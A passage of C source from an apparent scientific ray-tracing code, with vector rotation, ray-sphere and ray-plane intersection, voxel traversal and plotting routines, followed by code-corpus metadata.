result;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble GeVec3_DotProd(const GeVec3_d *a, const GeVec3_d *b)\n/* Calculate prod = <a> dot <b> */\n{\n\tsize_t i;\n\tdouble prod = 0;\n\n\tfor(i = 0; i < 3; i++)\n\t\tprod += a->x[i] * b->x[i];\n\n\treturn prod;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_MatOp(const GeVec3_d *vec, const GeMat3_d *mat)\n/* Calculate <result> = [mat]<vec> */\n{\n\tsize_t i, j;\n\tGeVec3_d result = GeVec3_INIT(0, 0, 0);\n\n\tfor(i = 0; i < 3; i++) {\n\t\tfor(j = 0; j < 3; j++) {\n\t\t\tresult.x[i] += GeMat3_X(*mat, i, j) * vec->x[j];\n\t\t}\n\t}\n\n\treturn result;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Rotate_x(const GeVec3_d *vec, double phi)\n/*\nRotate vector phi radians about x axis\nRotation matrix about x:\n\t1 \t 0 0\n\t0 \tcos(phi) -sin(phi)\n\t0 \tsin(phi) cos(phi)\n*/\n{\n\tGeMat3_d matrix;\n\n\tGeMat3_X(matrix, 0, 0) = 1;\n\tGeMat3_X(matrix, 0, 1) = 0;\n\tGeMat3_X(matrix, 0, 2) = 0;\n\n\tGeMat3_X(matrix, 1, 0) = 0;\n\tGeMat3_X(matrix, 1, 1) = cos(phi);\n\tGeMat3_X(matrix, 1, 2) = -sin(phi);\n\n\tGeMat3_X(matrix, 2, 0) = 0;\n\tGeMat3_X(matrix, 2, 1) = sin(phi);\n\tGeMat3_X(matrix, 2, 2) = cos(phi);\n\t\n\treturn GeVec3_MatOp(vec, &matrix);\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Rotate_y(const GeVec3_d *vec, double phi)\n/*\nRotate vector phi radians about y axis\nRotation matrix about y:\n\tcos(phi) \t0 sin(phi)\n 0 \t1 \t 0\n -sin(phi) \t0 cos(phi)\n*/\n{\n\tGeMat3_d matrix;\n\n\tGeMat3_X(matrix, 0, 0) = cos(phi);\n\tGeMat3_X(matrix, 0, 1) = 0;\n\tGeMat3_X(matrix, 0, 2) = sin(phi);\n\n\tGeMat3_X(matrix, 1, 0) = 0;\n\tGeMat3_X(matrix, 1, 1) = 1;\n\tGeMat3_X(matrix, 1, 2) = 0;\n\n\tGeMat3_X(matrix, 2, 0) = -sin(phi);\n\tGeMat3_X(matrix, 2, 1) = 0;\n\tGeMat3_X(matrix, 2, 2) = cos(phi);\n\t\n\treturn GeVec3_MatOp(vec, &matrix);\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Rotate_z(const GeVec3_d *vec, double phi)\n/*\nRotate vector phi radians about z axis\nRotation matrix about z:\n\tcos(phi) -sin(phi) 0\n sin(phi) cos(phi) 0\n 0 0 1\n*/\n{\n\tGeMat3_d matrix;\n\n\tGeMat3_X(matrix, 0, 0) = cos(phi);\n\tGeMat3_X(matrix, 0, 1) = -sin(phi);\n\tGeMat3_X(matrix, 0, 2) = 0;\n\n\tGeMat3_X(matrix, 1, 0) = sin(phi);\n\tGeMat3_X(matrix, 1, 1) = cos(phi);\n\tGeMat3_X(matrix, 1, 2) = 0;\n\n\tGeMat3_X(matrix, 2, 0) = 0;\n\tGeMat3_X(matrix, 2, 1) = 0;\n\tGeMat3_X(matrix, 2, 2) = 1;\n\t\n\treturn GeVec3_MatOp(vec, &matrix);\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeRay GeRay_Init(double ex, double ey, double ez, double dx, double dy, double dz)\n{\n\tGeRay ray = GeRay_INIT(ex, ey, ez, dx, dy, dz);\n\n\treturn ray;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble GeRay_IntersectPlane(const GeRay *ray, const GeVec3_d *n, const GeVec3_d *q)\n/*\nCalculate the intersection between ray and plane according to\n\n t = <n> dot (<q> - <e>) / <n> dot <d>\n\n\twhere <n> is the normal vector,\n\t <q> a vertex of the plane,\n\t <e> the origin of the ray,\n\t and <d> the direction of the ray\n*/\n{\n\tGeVec3_d q_m_e = GeVec3_Sub(&ray->e, q);\n\n\treturn GeVec3_DotProd(n, &q_m_e) / GeVec3_DotProd(n, &ray->d);\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_IntersectSphere(const GeRay *ray, double r, double *t1, double *t2)\n/*\nSolve for the intersection between a ray\n\t<x> = <e> + <d> * t\nand a sphere with radius R in Cartesian coordinates (where <e> is OUTSIDE\nthe sphere). The 3D equatin of a sphere is\n\t|<x>|^2 = R^2\nresulting in\n\t|<e>|^2 + 2 * <d> dot <e> * t + |<d>|^2 * t^2 = R^2\nand the intersection between a line and a sphere can be found by solving the\nquadratic equaiton\n\ta * t^2 + b * t + c = 0\nwhere\n\ta = |<d>|^2\n\tb = 2 * <e> dot <d>\n\tc = |<e>|^2 - R^2\n*/\n{\n\tdouble a, b, c;\n\n\ta = GeVec3_DotProd(&ray->d, &ray->d);\n\tb = 2.0 * GeVec3_DotProd(&ray->e, &ray->d);\n\tc = GeVec3_DotProd(&ray->e, &ray->e) - r * r;\n\n\tNum_QuadraticRoots(a, b, c, t1, t2);\n\n\t#if 0\n\tDeb_PRINT(\"solve: r=%g, t1=%g, t2=%g\\n\", r, *t1, *t2);\n\tDeb_PAUSE();\n\t#endif\n\n\tif(Num_ISNAN(*t1))\n\t\t*t1 = HUGE_VAL;\n\n\tif(Num_ISNAN(*t2))\n\t\t*t2 = HUGE_VAL;\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeRay GeRay_Inc(const GeRay *ray, double t)\n{\n\tsize_t i;\n\tGeRay newray = *ray;\n\n\tfor(i = 0; i < 3; i++) {\n\t\tnewray.e.x[i] += newray.d.x[i] * t;\n\t}\n\n\treturn newray;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeRay GeRay_Rotate(const GeRay *ray, int axis, double phi)\n/* Rotate ray about x axis */\n{\n\tGeRay ray2 = GeRay_INIT(0, 0, 0, 0, 0, 0);\n\n\tswitch(axis) {\n\t\tcase 0:\n\t\t\tray2.e = GeVec3_Rotate_x(&ray->e, phi);\n\t\t\tray2.d = GeVec3_Rotate_x(&ray->d, phi);\n\t\t\tbreak;\n\n\t\tcase 1:\n\t\t\tray2.e = GeVec3_Rotate_y(&ray->e, phi);\n\t\t\tray2.d = GeVec3_Rotate_y(&ray->d, phi);\n\t\t\tbreak;\n\n\t\tcase 2:\n\t\t\tray2.e = GeVec3_Rotate_z(&ray->e, phi);\n\t\t\tray2.d = GeVec3_Rotate_z(&ray->d, phi);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\t/* Not a valid axis */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn ray2;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint GeRay_IntersectVoxel(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n/* Find the intersection of a ray OUTSIDE voxel in rectangular coordinates. */\n{\n\tint hit = 0;\n\n\tswitch(voxel->geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\thit = GeRay_IntersectVoxel_sph1d(ray, voxel, tmin, side);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\thit = GeRay_IntersectVoxel_rec3d(ray, voxel, tmin, side);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn hit;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint GeRay_IntersectVoxel_sph1d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n/*\nSolve for intersection between ray and voxel in which ray is OUTSIDE of voxel.\n\nA 1D spherical voxel is described by two concentric spheres, thus for a ray\nto intersect the voxel, it merely needs to hit the outer sphere.\n\nside=0 --> inner sphere\nside=1 --> outer sphere\n\nIf there is a hit, side would always be 1 for this routine.\n*/\n{\n\tdouble r = GeVec3_X(voxel->max, 0), t1, t2;\n\n\tGeRay_IntersectSphere(ray, r, &t1, &t2);\n\t\n\tif(t1 < t2)\n\t\t*tmin = t1;\n\telse\n\t\t*tmin = t2;\n\n\t*side = 1;\n\n\treturn (*tmin < HUGE_VAL ? 1 : 0);\n}\n\n/*----------------------------------------------------------------------------*/\n\nint GeRay_IntersectVoxel_rec3d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n/* Find the intersection of a ray OUTSIDE voxel in rectangular coordinates. */\n{\n\tdouble t;\n\tsize_t i;\n\tint within_box;\n\tstatic GeVec3_d normal[6] = {\n\t\tGeVec3_INIT(-1, 0, 0),\n\t\tGeVec3_INIT( 1, 0, 0),\n\t\tGeVec3_INIT( 0, -1, 0),\n\t\tGeVec3_INIT( 0, 1, 0),\n\t\tGeVec3_INIT( 0, 0, -1),\n\t\tGeVec3_INIT( 0, 0, 1)\n\t};\n\tconst GeVec3_d *q = NULL;\n\tGeRay tstray = GeRay_INIT(0, 0, 0, 0, 0, 0);\n\n\t/* Init tmin */\n\t*tmin = HUGE_VAL;\n\n\t/* debug */\n\tfor(i = 0; i < 6; i++) {\n\t\t/* Calculate intersections with side */\n\t\tq = i % 2 == 0 ? &voxel->min : &voxel->max;\n\t\tt = GeRay_IntersectPlane(ray, &normal[i], q);\n\n\t\t/* Check if intersection is inside box */\n\t\ttstray = GeRay_Inc(ray, t);\n\t\twithin_box = point_in_voxel2(&tstray.e, voxel, i / 2);\n\n\t\t/* Find tmin if intersection is within box*/\n\t\tif(within_box && (t < *tmin)) {\n\t\t\t*tmin = t;\n\t\t\t*side = i;\n\t\t}\n\t}\n\t\n\treturn (*tmin < HUGE_VAL ? 1 : 0);\n}\n\n/*----------------------------------------------------------------------------*/\n\nint point_in_voxel2(const GeVec3_d *pt, const GeVox *voxel, size_t axis)\n/* Check if coordinates of pt NOT on axis are within the limits of the voxel */\n{\n\tsize_t i;\n\tint within_box = 1;\n\n\tfor(i = 0; i < 3; i++) {\n\t\tif(i != axis) {\n\t\t\tif((GeVec3_X(*pt, i) < GeVec3_X(voxel->min, i)) || (GeVec3_X(*pt, i) > GeVec3_X(voxel->max, i))) {\n\t\t\t\twithin_box = 0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn within_box;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_TraverseVoxel(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n{\n\tswitch(voxel->geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tGeRay_TraverseVoxel_sph1d(ray, voxel, tmin, side);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tGeRay_TraverseVoxel_rec3d(ray, voxel, tmin, side);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_TraverseVoxel_sph1d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n/*\nTraverse a spherical shell voxel by calculating intersections with its inner\nand outer spheres. Since the ray must originate from INSIDE the sphere1d voxel,\nthe larger distance of the outer sphere should be used, while the smaller of the\ninnter sphere should be used.\n\nSide 0: inner sphere\nSide 1: outer sphere\n*/\n{\n\tdouble t1, t2, t_in = HUGE_VAL, t_out = HUGE_VAL,\n\t r_in = GeVec3_X(voxel->min, 0), r_out = GeVec3_X(voxel->max, 0);\n\n\t/* Find intersections with outer sphere */\n\tGeRay_IntersectSphere(ray, r_out, &t1, &t2);\n\n\t//Deb_PRINT(\"outer: t1=%g, t2=%g\\n\", t1, t2);\n\n\tt_out = (t1 > t2 ? t1 : t2);\n\n\tif(t_out <= 0)\n\t\tt_out = HUGE_VAL;\n\n\t/* Find intersection with inner sphere if r_in > 0 */\n\tif(r_in > 0) {\n\t\tGeRay_IntersectSphere(ray, r_in, &t1, &t2);\n\n\t\t//Deb_PRINT(\"inner: t1=%g, t2=%g\\n\", t1, t2);\n\n\t\tt_in = (t1 < t2 ? t1 : t2);\n\n\t\tif(t_in <= 0)\n\t\t\tt_in = HUGE_VAL;\n\t}\n\n\tDeb_ASSERT((t_in < HUGE_VAL) || (t_out < HUGE_VAL));\n\n\t/* Find final intersection */\n\tif(t_in < t_out) {\n\t\t*tmin = t_in;\n\t\t*side = 0;\n\t}\n\telse {\n\t\t*tmin = t_out;\n\t\t*side = 1;\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_TraverseVoxel_rec3d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side)\n/*\nTraverse a rectangular voxel using a variant of the Amanatides-Woo algorithm. An\nintersection is ALWAYS guranteed, since we're traveling out of a bounded volume.\n\t* sides 0 & 1: x axis\n\t* sides 2 & 3: y axis\n\t* sides 4 & 5: z axis\n*/\n{\n\tdouble t;\n\tsize_t i, iside;\n\tstatic const GeVec3_d normal[6] = {\n\t\tGeVec3_INIT(-1, 0, 0),\n\t\tGeVec3_INIT( 1, 0, 0),\n\t\tGeVec3_INIT( 0, -1, 0),\n\t\tGeVec3_INIT( 0, 1, 0),\n\t\tGeVec3_INIT( 0, 0, -1),\n\t\tGeVec3_INIT( 0, 0, 1)\n\t};\n\tconst GeVec3_d *q = NULL;\n\n\t/* Init tmin */\n\t*tmin = HUGE_VAL;\n\n\tfor(i = 0; i < 3; i++) {\n\t\t/*\n\t\tCalculate intersections with planes on all 3 axes\n\t i == 0: x axis\n\t\t i == 1: y axis\n\t\t i == 2: z axis\n\t\t*/\n\t\tif(GeRay_D(*ray, i) == 0.0) {\n\t\t\t/* GeRay does not intersect either plane on this axis */\n\t\t\tcontinue;\n\t\t}\n\t\telse {\n\t\t\tif(GeRay_D(*ray, i) > 0) {\n\t\t\t\tiside = i * 2 + 1;\n\t\t\t\tq = &voxel->max;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tiside = i * 2;\n\t\t\t\tq = &voxel->min;\n\t\t\t}\n\t\t\tt = GeRay_IntersectPlane(ray, &normal[iside], q);\n\n\t\t\t/* Find tmin */\n\t\t\tif(t < *tmin) {\n\t\t\t\t*tmin = t;\n\t\t\t\t*side = iside;\n\t\t\t}\n\t\t}\n\n\t\t#if 0 //debug\n\t\tdebug_printf(\"D=\"); GeVec3_PRINT(stdout, ray->d); printf(\"\\n\");\n\t\tdebug_printf(\"iside=%d, t=%g\\n\", iside, t);\n\t\t#endif\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n/* This samples a random number uniformly in the\n * interval [0, 1) */\n#define RAND()\\\n\tgsl_rng_uniform(rng)\n/* This samples a random number uniformly in the\n * interval (0, 1) */\n#define PRAND()\\\n\tgsl_rng_uniform_pos(rng)\n\nGeRay GeRay_Rand(gsl_rng *rng, const GeVox *voxel)\n{\n\tGeRay ray;\n\n\tswitch(voxel->geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tray = GeRay_Rand_sph1d(rng, voxel);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tray = GeRay_Rand_rec3d(rng, voxel);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't reach here */\n\t\t\tDeb_PRINT(\"Uh oh, voxel->geom holds an unidentified geometry code '%d'\\n\", voxel->geom);\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn ray;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeRay GeRay_Rand_sph1d(gsl_rng *rng, const GeVox *voxel)\n{\n\tGeRay ray;\n\tdouble\n\t\tr, phi, cost, sint,\n\t\tr_in = GeVec3_X(voxel->min, 0),\n\t\tr_out = GeVec3_X(voxel->max, 0);\n\n\t#define ONE_THIRD (0.3333333333333333)\n\n\t/* Calculate random ray origin in spherical coordinates */\n\tif(r_in > 0) {\n\t\tr = r_in * pow((1.0 + PRAND() * (pow(r_out/r_in, 3.0) - 1.0)), ONE_THIRD);\n\t}\n\telse {\n\t\tr = r_out * pow(PRAND(), ONE_THIRD);\n\t}\n\t\n\t#undef ONE_THIRD\n\n\t/* Reset ray */\n\tMem_BZERO(&ray);\n\n\t/* Since this is a 1D problem, starting every ray from the\n\t +Z axis is good enough */\n\tGeRay_E(ray, 2) = r;\n\n\t/* Generate random 3D direction */\n\tNum_RanDir3D(rng, &cost, &sint, &phi);\n\n\t/* Convert to rectangular coordinates */\n\tGeRay_D(ray, 0) = sint * cos(phi);\n\tGeRay_D(ray, 1) = sint * sin(phi);\n\tGeRay_D(ray, 2) = cost;\n\n\treturn ray;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeRay GeRay_Rand_rec3d(gsl_rng *rng, const GeVox *voxel)\n/* Generate a randomly directed ray starting from a random position within\n the voxel */\n{\n\tGeRay ray;\n\tdouble phi, cost, sint;\n\tsize_t i;\n\n\t/* Reset ray */\n\tMem_BZERO(&ray);\n\n\t#if 1\n\t/* Set random ray origin in rectangular coordinates */\n\tfor(i = 0; i < 3; i++) {\n\t\tGeRay_E(ray, i) = GeVec3_X(voxel->cen, i) + (RAND() - 0.5) * GeVec3_X(voxel->delta, i);\n\t}\n\t#else\n\tfor(i = 0; i < 3; i++) {\n\t\tGeRay_E(ray, i) = GeVec3_X(voxel->min, i) + RAND() * GeVec3_X(voxel->delta, i);\n\t}\n\t#endif\n\n\t/* Generate random 3D direction */\n\tNum_RanDir3D(rng, &cost, &sint, &phi);\n\n\t/* Convert to rectangular coordinates */\n\tGeRay_D(ray, 0) = sint * cos(phi);\n\tGeRay_D(ray, 1) = sint * sin(phi);\n\tGeRay_D(ray, 2) = cost;\n\n\treturn ray;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeVox_Cpgplot(const GeVox *voxel, const GeCam *cam)\n{\n\tint idum;\n\n\tswitch(voxel->geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tcpgqfs(&idum);\n\t\t\tcpgsfs(2);\n\t\t\tGeVox_Cpgplot_sph1d(voxel);\n\t\t\tcpgsfs(idum);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tGeVox_Cpgplot_rec(voxel, cam);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void GeVox_Cpgplot_sph1d(const GeVox *voxel)\n/* Draw a circle to represent projection/cross section of sphere */\n{\n\tCpg_Circ(0.0, 0.0, GeVec3_X(voxel->max, 0));\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void GeVox_Cpgplot_rec(const GeVox *voxel, const GeCam *cam)\n/*\n Z\n\t |\n\t |\n\t | /\n\t 4----------7\n\t /| / /|\n\t / | / / |\n\t / | / / |\n\t5----------6 | \n--------|---0------|---3---------Y\n\t| /| | /\n\t| / | | /\n\t|/ | |/\n\t1----------2\n / |\n / |\n /\n X\n\n point 0: (x_min, y_min, z_min)\n point 6: (x_max, y_max, z_max)\n\n*/\n{\n\tsize_t i;\n\tGeVec3_d min = voxel->min, max = voxel->max;\n\tGeVec3_d verts[8];\n\n\tverts[0] = min;\n\tverts[1] = min; verts[1].x[1] = GeVec3_X(max, 1);\n\tverts[2] = max; verts[2].x[2] = GeVec3_X(min, 2);\n\tverts[3] = min; verts[3].x[0] = GeVec3_X(max, 0);\n\n\tverts[4] = min; verts[4].x[2] = GeVec3_X(max, 2);\n\tverts[5] = max; verts[5].x[0] = GeVec3_X(min, 0);\n\tverts[6] = max;\n\tverts[7] = max; verts[7].x[1] = GeVec3_X(min, 1);\n\n\tfor(i = 0; i < 4; i++) {\n\t\tGeVec3_Cpgline2(&verts[i], &verts[(i+1)%4], cam); /* lower plane */\n\t\tGeVec3_Cpgline2(&verts[4+i], &verts[4+(i+1)%4], cam); /* upper plane */\n\t\tGeVec3_Cpgline2(&verts[i], &verts[i+4], cam); /* sides */\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t GeVox_VertIndex2Pos(size_t i, size_t j, size_t k)\n/* \n Z\n\t |\n\t |\n\t | /\n\t 4----------7\n\t /| / /|\n\t / | / / |\n\t / | / / |\n\t5----------6 | \n--------|---0------|---3---------Y\n\t| /| | /\n\t| / | | /\n\t|/ | |/\n\t1----------2\n / |\n / |\n /\n X\n *\n * k | 0 1 0 1 0 1 0 1\n * j | 0 0 1 1 0 0 1 1\n * i | 0 0 0 0 1 1 1 1\n */\n{\n\tstatic size_t pos[8] = {\n\t\t0, /* (0, 0, 0) */\n\t\t4, /* (0, 0, 1) */\n\t\t3, /* (0, 1, 0) */\n\t\t7, /* (0, 1, 1) */\n\t\t1, /* (1, 0, 0) */\n\t\t5, /* (1, 0, 1) */\n\t\t2, /* (1, 1, 0) */\n\t\t6, /* (1, 1, 1) */\n\t};\n\n\treturn pos[k + 2 * (j + 2 * i)];\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeVec3_Cpgpt1(const GeVec3_d *vec, int sty, const GeCam *cam)\n/* By default project on y-z plane */\n{\n\tGeVec3_d v;\n\n\tif(cam) {\n\t\tv = GeVec3_Rotate(vec, cam);\n\t}\n\telse {\n\t\tv = *vec;\n\t}\n\n\tCpg_Pt1(GeVec3_X(v, 1), GeVec3_X(v, 2), sty);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeVec3_Cpgline2(const GeVec3_d *v1, const GeVec3_d *v2, const GeCam *cam)\n/* By default project on y-z plane */\n{\n\tfloat xbuf[2], zbuf[2];\n\tGeVec3_d v11, v22;\n\t\n\t/* Optionally rotate coordinates */\n\tif(cam) {\n\t\tv11 = GeVec3_Rotate(v1, cam);\n\t\tv22 = GeVec3_Rotate(v2, cam);\n\t}\n\telse {\n\t\tv11 = *v1;\n\t\tv22 = *v2;\n\t}\n\n\txbuf[0] = (float)v11.x[1];\n\txbuf[1] = (float)v22.x[1];\n\tzbuf[0] = (float)v11.x[2];\n\tzbuf[1] = (float)v22.x[2];\n\n\tcpgline(2, xbuf, zbuf);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeVec3_Cpgarro2(const GeVec3_d *v1, const GeVec3_d *v2, const GeCam *cam)\n/* By default project on y-z plane */\n{\n\tGeVec3_d v11, v22;\n\n\tif(cam) {\n\t\tv11 = GeVec3_Rotate(v1, cam);\n\t\tv22 = GeVec3_Rotate(v2, cam);\n\t}\n\telse {\n\t\tv11 = *v1;\n\t\tv22 = *v2;\n\t}\n\n\tCpg_Arro(v11.x[1], v11.x[2], v22.x[1], v22.x[2]);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_Cpgarro(const GeRay *ray, const GeCam *cam)\n/* Plot ray as an arrow according to origin and direction vector */\n{\n\tsize_t i;\n\tGeVec3_d head = GeVec3_INIT(0, 0, 0);\n\n\tfor(i = 0; i < 3; i++)\n\t\thead.x[i] = ray->e.x[i] + ray->d.x[i];\n\n\tGeVec3_Cpgarro2(&ray->e, &head, cam);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeVox_Cpgenv(const GeVox *voxel)\n/* Set size of plotting window according to voxel size\n * default is to plot on y-z plane!!! */\n{\n\tconst double\n\t\t*min = voxel->min.x,\n\t \t*max = voxel->max.x,\n\t \tdx = max[1]-min[1],\n\t \tdz = max[2]-min[2];\n\n\tswitch(voxel->geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tCpg_Env(-max[0]*1.1, max[0]*1.1, -max[0]*1.1, max[0]*1.1, 1, 0);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tCpg_Env(min[1]-dx*1.5, max[1]+dx*0.5, min[2]-dz*1.5, max[2]+dz*0.5, 1, 0);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVox GeVox_Init(int geom, double xmin, double ymin, double zmin, double xmax, double ymax, double zmax)\n{\n\tGeVox vox = GeVox_INIT(geom, xmin, ymin, zmin, xmax, ymax, zmax);\n\n\treturn vox;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVox GeVox_Init2(int geom, GeVec3_d min, GeVec3_d max)\n{\n\tGeVox vox = GeVox_INIT(\n\t\tgeom,\n\t\tGeVec3_X(min, 0),\n\t\tGeVec3_X(min, 1),\n\t\tGeVec3_X(min, 2),\n\t\tGeVec3_X(max, 0),\n\t\tGeVec3_X(max, 1),\n\t\tGeVec3_X(max, 2)\n\t);\n\n\treturn vox;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_AWInit(GeRay *ray, const GeVox *voxel)\n{\n\tdouble t;\n\tsize_t i, iplane;\n\tstatic const GeVec3_d normal[6] = {\n\t\tGeVec3_INIT(-1, 0, 0),\n\t\tGeVec3_INIT( 1, 0, 0),\n\t\tGeVec3_INIT( 0, -1, 0),\n\t\tGeVec3_INIT( 0, 1, 0),\n\t\tGeVec3_INIT( 0, 0, -1),\n\t\tGeVec3_INIT( 0, 0, 1)\n\t};\n\tconst GeVec3_d *q = NULL;\n\n\tfor(i = 0; i < 3; i++) {\n\t\t/*\n\t\tCalculate intersections with planes on all 3 axes\n\t i == 0: x axis\n\t\t i == 1: y axis\n\t\t i == 2: z axis\n\t\t*/\n\t\tif(GeRay_D(*ray, i) == 0.0) {\n\t\t\t/* GeRay does not intersect either plane on this axis */\n\t\t\tGeVec3_X(ray->tMax, i) = HUGE_VAL;\n\t\t\tGeVec3_X(ray->tDelta, i) = 0;\n\t\t\tcontinue;\n\t\t}\n\t\telse {\n\t\t\tif(GeRay_D(*ray, i) > 0) {\n\t\t\t\tiplane = i * 2 + 1;\n\t\t\t\tq = &voxel->max;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tiplane = i * 2;\n\t\t\t\tq = &voxel->min;\n\t\t\t}\n\t\t\tt = GeRay_IntersectPlane(ray, &normal[iplane], q);\n\n\t\t\t/* Set tMax for this axis */\n\t\t\tGeVec3_X(ray->tMax, i) = t;\n\n\t\t\t/* Calculate tDelta */\n\t\t\tGeVec3_X(ray->tDelta, i) = GeVec3_X(voxel->delta, i) / fabs(GeVec3_X(ray->d, i));\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid GeRay_AWTraverse(GeRay *ray, double *dt, size_t *plane)\n{\n\tdouble tmin;\n\n\t#define tMaxX (GeVec3_X(ray->tMax, 0))\n\t#define tMaxY (GeVec3_X(ray->tMax, 1))\n\t#define tMaxZ (GeVec3_X(ray->tMax, 2))\n\t#define tDeltaX (GeVec3_X(ray->tDelta, 0))\n\t#define tDeltaY (GeVec3_X(ray->tDelta, 1))\n\t#define tDeltaZ (GeVec3_X(ray->tDelta, 2))\n\n\tif(tMaxX < tMaxY) {\n\t\tif(tMaxX < tMaxZ) {\n\t\t\tif(GeRay_D(*ray, 0) > 0) {\n\t\t\t\t*plane = 1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t*plane = 0;\n\t\t\t}\n\t\t\ttmin = tMaxX;\n\t\t\ttMaxX += tDeltaX;\n\t\t}\n\t\telse {\n\t\t\tif(GeRay_D(*ray, 2) > 0) {\n\t\t\t\t*plane = 5;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t*plane = 4;\n\t\t\t}\n\t\t\ttmin = tMaxZ;\n\t\t\ttMaxZ += tDeltaZ;\n\t\t}\n\t}\n\telse {\n\t\tif(tMaxY < tMaxZ) {\n\t\t\tif(GeRay_D(*ray, 1) > 0) {\n\t\t\t\t*plane = 3;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t*plane = 2;\n\t\t\t}\n\t\t\ttmin = tMaxY;\n\t\t\ttMaxY += tDeltaY;\n\t\t}\n\t\telse {\n\t\t\tif(GeRay_D(*ray, 2) > 0) {\n\t\t\t\t*plane = 5;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t*plane = 4;\n\t\t\t}\n\t\t\ttmin = tMaxZ;\n\t\t\ttMaxZ += tDeltaZ;\n\t\t}\n\t}\n\n\t*dt = tmin - ray->t;\n\tray->t = tmin;\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeRay_AWPos(const GeRay *ray)\n/* Calculate current position based on t and ray origin */\n{\n\tGeRay tmp_ray;\n\n\ttmp_ray = GeRay_Inc(ray, ray->t);\n\n\treturn tmp_ray.e;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble GeRay_get_phis(const GeRay *ray)\n/* Assuming spherical coordinates, return the angle between the direction\n of the ray and the position vector of the ray */\n{\n double phis = 0.0, mag_d = 0.0, mag_e = 0.0;\n\n mag_e = GeVec3_Mag(&ray->e);\n mag_d = GeVec3_Mag(&ray->d);\n\n Deb_ASSERT(mag_d > 0.0);\n\n #if 0\n printf(\"E=(%g, %g, %g), D=(%g, %g, %g)\\n\", GeVec3_TOARGS(ray->e), GeVec3_TOARGS(ray->d));\n printf(\"mag_e=%g, mag_d=%g\\n\", mag_e, mag_d);\n #endif\n\n if(mag_e == 0.0) {\n phis = 0.0;\n }\n else {\n phis = acos(GeVec3_DotProd(&ray->d, &ray->e) / (mag_d * mag_e));\n }\n\n return phis;\n}\n\n\n\n\n\n" }, { "alpha_fraction": 0.546297550201416, "alphanum_fraction": 0.5503114461898804, "avg_line_length": 22.147436141967773, "blob_id": "7c26b1d4891cb0082e434b608e12d730a4e57ef4", "content_id": "6d9181909ef8c55a7f381d53bdff5ea9691ba71a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7225, 